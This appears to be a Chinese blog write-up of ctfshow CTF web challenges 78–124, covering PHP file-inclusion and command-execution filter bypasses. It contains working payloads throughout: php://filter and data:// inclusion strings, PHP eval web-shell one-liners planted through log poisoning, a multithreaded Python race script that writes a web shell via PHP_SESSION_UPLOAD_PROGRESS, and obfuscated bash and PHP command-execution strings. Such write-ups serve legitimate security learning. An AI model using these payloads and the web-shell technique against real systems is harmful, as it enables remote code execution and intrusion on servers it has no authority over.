web78
没有任何过滤的php伪协议直接文件包含,payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
对php进行了过滤,我们可以利用data协议进行文件包含,payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==,拿到flag
web80
利用ua头进行日志包含,ua里写入一句话,然后POST传参,访问日志拿到flag。uapayload:<?php eval($_POST[a]);?>,POST传参:a=system("tac fl0g.php");
web81
同上
web82
因为过滤了.,所以就需要利用无后缀的文件,在php中只有session文件是没有后缀的,所以需要利用session.upload来进行文件包含,而本题中没有上传session值,但是只要上传PHPSESSID就会在默认session目录里生成一个/tmp/sess_%id%的文件,而这里是无后缀的,但是我们需要控制文件内容,而控制文件内容就需要PHP_SESSION_UPLOAD_PROGRESS参数,这个参数是获取实时文件上传进度的,会返回一个session,因此就可以利用他来指定session内容,然后进行文件包含,参考脚本:
import requests
import io
import threading
url = 'http://1ff11797-c41e-4aac-a3ca-95c30610563f.challenge.ctf.show:8080/'
sessionid = 'ctfshow'
data = {
"1": "file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
response = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID': sessionid
},
files={
'file': ('ctfshow.jpg', fileBytes)
}
)
def read(session):
while True:
response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data,
cookies={
'PHPSESSID': sessionid
}
)
resposne2 = session.get(url + '2.php')
if resposne2.status_code == 200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
web83
虽然可以直接使用上面的脚本,但是这里还是需要看一下83与82的区别,83增加了一个对于session的处理,在最前面加了一个清除session的参数,但是我们执行脚本之后,session清除之前就可以实现文件的上传,所以仍然可以进行后续的文件包含,因此仍然可以实现。
web84
仍然可以使用以上的脚本,但是这里可以看到实际上做出了对于tmp/*的处理,也就是直接删除,但是我们的脚本中使用了多线程,因此在执行rm rf的时候由于多线程,可能同时又一次执行了生成tmp文件的过程,因此仍然可以包含进去,因此仍然可以进行文件包含,然后拿到flag
web85
这歌地方不能使用原来的脚本了,在这里他过滤了<字符,因此尝试使用伪协议进行修改,但是仍然没有成功,于是想到83中可以利用多线程的
web86
仍然可以使用上面的脚本,但是这里还是要看看,相当于加入了一个变量用来存储路径,直接使用脚本拿到flag
web87
这里除了对之前一些字符的过滤之外,还进行了对file的一次url解码,并且同时对content进行传参,因此这里使用php://过滤器的方法,先把payload放上来,payload:?file=php://filter/write=stirng.rot13/resource=1.php,然后吧payload进行两次url编码,dull url encode,然后进行content的传参,payload:content=<?cuc flfgrz('gnp s*.cuc');?>,上传成功后访问1.php然后拿到flag。
web88
过滤了好多字符,但是可以看到没有过滤:,所以可以使用伪协议,于是我们想到使用data伪协议加上base64进行命令执行,然后payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4g,然后这里有个细节就是base64编码中不能存在=和+,因为对这两个符号进行了过滤,所以可以尝试在最后加一个空格,就可以成功绕过,拿到flag。
web116
进去后一个视频,看到hint是misc+lfi,所以保存mp4,foremost可以分理处一张源码的图片,看到有file_get_contents,就直接构造file=flag.php,但是网页是获取mp4格式的,所以无法直接查看flag,抓包拿到flag。
web117
丢出这类问题的一个总结文章(file_put_content和死亡·杂糅代码之缘),但是,看完了也做不出来,因为这里的rot13和base64都被过滤了,然后看大佬的wp,可以尝试使用iconv.UCS-2LE.UCS-2BE,这个编码的作用是字符两位两位进行交换,然后就可以让die函数失效,然后包含a.php读取flag。payload:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php,POST中contents=?<hp pvela$(P_SO[T]1;)>?。
web118
使用内置变量将命令表示出来,可以测试${PATH:~0}是n,但是这里数字被过滤了,因此需要使用A代替,然后使用${PWD:~0}表示l,结合通配符将nl flag.php表示出来,payload:${PATH:~A}${PWD:~A} ????.???
web119
ban掉了PATH、HOME、BASH,看yu师傅的文章,使用base64进行转码拿到flag,这时候结合通配符只需要表示/和4就可以实现,于是使用${PWD::${#SHLVL}}表示/,使用${#RANDOM}随机到4,使用通配符表示其他,也就是执行命令/bin/base64 flag.php,payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???,拿到flag,看到ctfshow上的hint里,使用的是${HOME:${#HOSTHOME}:${#SHLVL}}表示t,使用${PWD:${Z}:${#SHLVL}}表示/,构造/bin/cat flag.php,也能拿到flag,姿势很多。
web120
直接使用119的思路就可以解决120,构造/bin/base64 flag.php拿flag
web121
这里把SHLVLban了,可以使用$?表示1,构造的时候就变成了:${PWD::${#?}},其他的相同,119的payload直接替换即可,试看了feng师傅的wp之后,试了下${##}也能表示出1,也能得到flag。
web122
把PWD和#过滤了,PWD可以直接用HOME代替,但是因为过滤了#,无法使用内置变量来后区数字,这时候可以使用上面121利用的$?表示数字1
$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
因此构造payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???,多次刷新,随机到4的时候就可以拿到flag
web124
自己没操作出来,直接看yu师傅的吧...白名单里包含了可以执行的数学函数,基本思路就是利用数学函数构造命令语句执行,先了解下面函数
base_convert(number,frombase,tobase);
参数描述
number必需。规定要转换的数。
frombase必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,
例如 a表示 10,b 表示 11 以及 z 表示 35。
tobase必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和
36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。bindec — 二进制转换为十进制 bindec ( string $binary_string ) : number
decbin — 十进制转换为二进制 decbin ( int $number ) : string
dechex — 十进制转换为十六进制 dechex ( int $number ) : string
decoct — 十进制转换为八进制 decoct ( int $number ) : string
hexdec — 十六进制转换为十进制 hexdec ( int $number ) : string
尝试构造语句:?c=$_GET[a]($_GET[b])&a=system&b=cat f,之前做过这类题,知道可以利用hex2bin函数进行16进制转换字符串的操作,然后dechex可以将10进制转换成十六进制,所以大体思路就是构造hex2bin函数,然后通过上面的连续操作构造一个使用数字函数和数字的payload,而构造hex2bin则需要用到base_convert了,因为36进制中包含了所有的数字和字母,所以直接将hex2bin转换为10进制就可以了,然后中括号使用花括号进行表示,就可以构造一个base_convert(37907361743,10,36)(dechex(1598506324));然后构造整个payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f,在这个过程中,所有的变量名也要使用函数名,不然还是拿不到flag。
yu师傅博客
评论 (0)